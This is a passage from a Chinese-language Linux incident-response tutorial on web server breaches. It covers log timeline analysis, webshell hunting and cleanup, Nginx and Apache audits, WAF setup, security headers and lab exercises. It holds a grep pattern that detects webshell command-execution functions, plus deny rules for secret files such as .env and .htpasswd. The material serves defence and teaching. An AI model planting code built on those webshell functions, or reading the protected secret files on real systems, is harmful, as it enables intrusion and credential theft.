echo "=== 状态码分布 ==="
awk '{print $9}' /tmp/attacker_timeline.txt | sort | uniq -c | sort -rn

echo "=== 请求 URL 分布 ==="
awk '{print $7}' /tmp/attacker_timeline.txt | sort | uniq -c | sort -rn | head -20

echo "=== 按分钟统计请求量 ==="
awk '{
split($4, a, ":");
printf "%s %s:%s\n", a[1], a[2], a[3]
}' /tmp/attacker_timeline.txt | sort | uniq -c | sort -rn | head -20

典型攻击时间线模式:

阶段1:信息搜集(大量 GET 请求,404 响应为主)

阶段2:漏洞探测(针对特定路径的请求,可能包含攻击 payload)

阶段3:漏洞利用(POST 请求增多,200 响应)

阶段4:后门操作(对 Webshell 路径的持续 POST 请求)

六、应急处置与加固

6.1 Webshell 清理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1. 备份证据
mkdir -p /tmp/evidence/webshell

# 2. 查找并备份所有 Webshell
# PHP Webshell
find /var/www/ -name "*.php" -exec grep -lE "eval\s*\(|system\s*\(|exec\s*\(|passthru|shell_exec|base64_decode.*eval" {} \; | while read f; do
echo "Found webshell: $f"
cp "$f" /tmp/evidence/webshell/
md5sum "$f" >> /tmp/evidence/webshell/hashes.txt
done

# 3. 删除 Webshell(确认后再删除)
# rm /var/www/html/uploads/shell.php

# 4. 检查上传目录权限
find /var/www/ -type d -perm -o+w -exec ls -ld {} \;

# 5. 修复权限
chown -R www-data:www-data /var/www/html/
find /var/www/html/ -type d -exec chmod 755 {} \;
find /var/www/html/ -type f -exec chmod 644 {} \;

6.2 配置审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Nginx 配置审计
echo "=== Nginx 配置检查 ==="

# 检查是否运行为 root
grep "^user" /etc/nginx/nginx.conf

# 检查所有 server 块
grep -rn "server_name\|listen\|root\|location\|proxy_pass" /etc/nginx/

# 检查所有 include
grep -rn "include" /etc/nginx/

# 测试配置
nginx -t

# Apache 配置审计
echo "=== Apache 配置检查 ==="

# 检查运行用户
grep -E "^User|^Group" /etc/apache2/apache2.conf # Ubuntu
grep -E "^User|^Group" /etc/httpd/conf/httpd.conf # CentOS

# 检查所有虚拟主机
apache2ctl -S # Ubuntu
httpd -S # CentOS

# 检查加载的模块
apache2ctl -M # Ubuntu
httpd -M # CentOS

# 检查 .htaccess 是否被允许(AllowOverride)
grep -rn "AllowOverride" /etc/apache2/ /etc/httpd/ 2>/dev/null

6.3 WAF 部署

Nginx + ModSecurity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Ubuntu 安装 ModSecurity for Nginx
apt install libmodsecurity3 libmodsecurity-dev
apt install libnginx-mod-http-modsecurity

# 配置
# /etc/nginx/modsecurity/modsecurity.conf
SecRuleEngine On
SecAuditEngine On
SecAuditLog /var/log/nginx/modsec_audit.log

# 加载 OWASP Core Rule Set (CRS)
git clone https://github.com/coreruleset/coreruleset.git /etc/nginx/modsecurity/crs
cp /etc/nginx/modsecurity/crs/crs-setup.conf.example /etc/nginx/modsecurity/crs/crs-setup.conf

# 在 Nginx 配置中启用
# server {
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsecurity/modsecurity.conf;
# }

Apache + mod_security

1
2
3
4
5
6
7
8
9
10
# Ubuntu
apt install libapache2-mod-security2
a2enmod security2

# CentOS
yum install mod_security mod_security_crs

# 启用规则引擎
# /etc/modsecurity/modsecurity.conf
SecRuleEngine On

6.4 安全头部配置

Nginx 安全头部

1
2
3
4
5
6
7
8
9
10
11
# 添加到 server 块中
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;

# 隐藏版本号
server_tokens off;

Apache 安全头部

1
2
3
4
5
6
7
8
9
10
11
12
13
# 启用 headers 模块
# a2enmod headers

Header always set X-Frame-Options "SAMEORIGIN"
Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

# 隐藏版本号
ServerTokens Prod
ServerSignature Off

其他加固配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nginx: 限制请求方法
if ($request_method !~ ^(GET|HEAD|POST)$) {
return 444;
}

# Nginx: 限制请求体大小
client_max_body_size 10m;

# Nginx: 限制连接速率
limit_req_zone $binary_remote_addr zone=req_limit:10m rate=10r/s;

server {
limit_req zone=req_limit burst=20 nodelay;
}

# Nginx: 禁止访问隐藏文件
location ~ /\. {
deny all;
return 404;
}

# Nginx: 禁止访问敏感文件
location ~* \.(env|git|svn|htaccess|htpasswd|ini|log|bak|sql|swp)$ {
deny all;
return 404;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Apache: 限制请求方法
<LimitExcept GET POST HEAD>
Require all denied
</LimitExcept>

# Apache: 禁止目录浏览
Options -Indexes

# Apache: 禁止 .htaccess(如果不需要)
AllowOverride None

# Apache: 禁止访问隐藏文件
<FilesMatch "^\.">
Require all denied
</FilesMatch>

七、实战练习

7.1 实验环境

实验目录:labs/03-web-server-ir/

环境要求:

Nginx + PHP-FPM 环境

Apache + mod_php 环境

一个简单的 Web 应用(带文件上传、数据库查询功能)

7.2 练习一:Web 攻击日志分析

目标:分析提供的 Nginx access.log 样本(约 10000 行),回答以下问题

有多少个不同的攻击者 IP?

检测到了哪些类型的攻击?

攻击是否成功?有哪些证据?

重建攻击时间线

练习日志文件:labs/03-web-server-ir/sample-access.log

7.3 练习二:配置后门检测

场景:某台 Web 服务器被入侵,攻击者可能修改了 Web 服务器配置

任务:

检查 Nginx/Apache 配置文件完整性

查找配置后门

检查 .htaccess 后门

检查模块后门

恢复原始配置

7.4 练习三:综合应急响应

场景:安全设备告警某 Web 服务器正在对外发起 C2 通信

任务:

分析 Web 服务器日志定位入侵入口

查找并分析 Webshell

检查配置后门

检查是否有横向移动痕迹

清理后门并加固

编写应急响应报告

7.5 练习四:日志分析脚本编写

任务:编写一个 bash 脚本,实现以下功能

输入:Web 日志文件路径

输出:

攻击类型统计(SQL 注入、XSS、目录遍历、扫描器)

攻击者 IP 排行

可疑 URL 排行

攻击时间分布

生成简洁的分析报告

7.6 思考题

Nginx 反向代理后面是 Tomcat,攻击者通过 Nginx 日志可以看到什么?Tomcat 日志又能看到什么?两者如何关联分析?

如果攻击者使用 CDN 访问目标网站,在日志中看到的客户端 IP 是什么?如何获取真实 IP?(提示:X-Forwarded-For 和 X-Real-IP)

如果 Web 服务器日志被攻击者清除了,还有哪些方式可以恢复或获取访问记录?

.htaccess 后门与直接修改 httpd.conf 相比,各有什么优劣势(从攻击者角度)?


上一章 目录 下一章
11-Tomcat与Java-Web应急 Linux应急响应 13-Redis未授权访问应急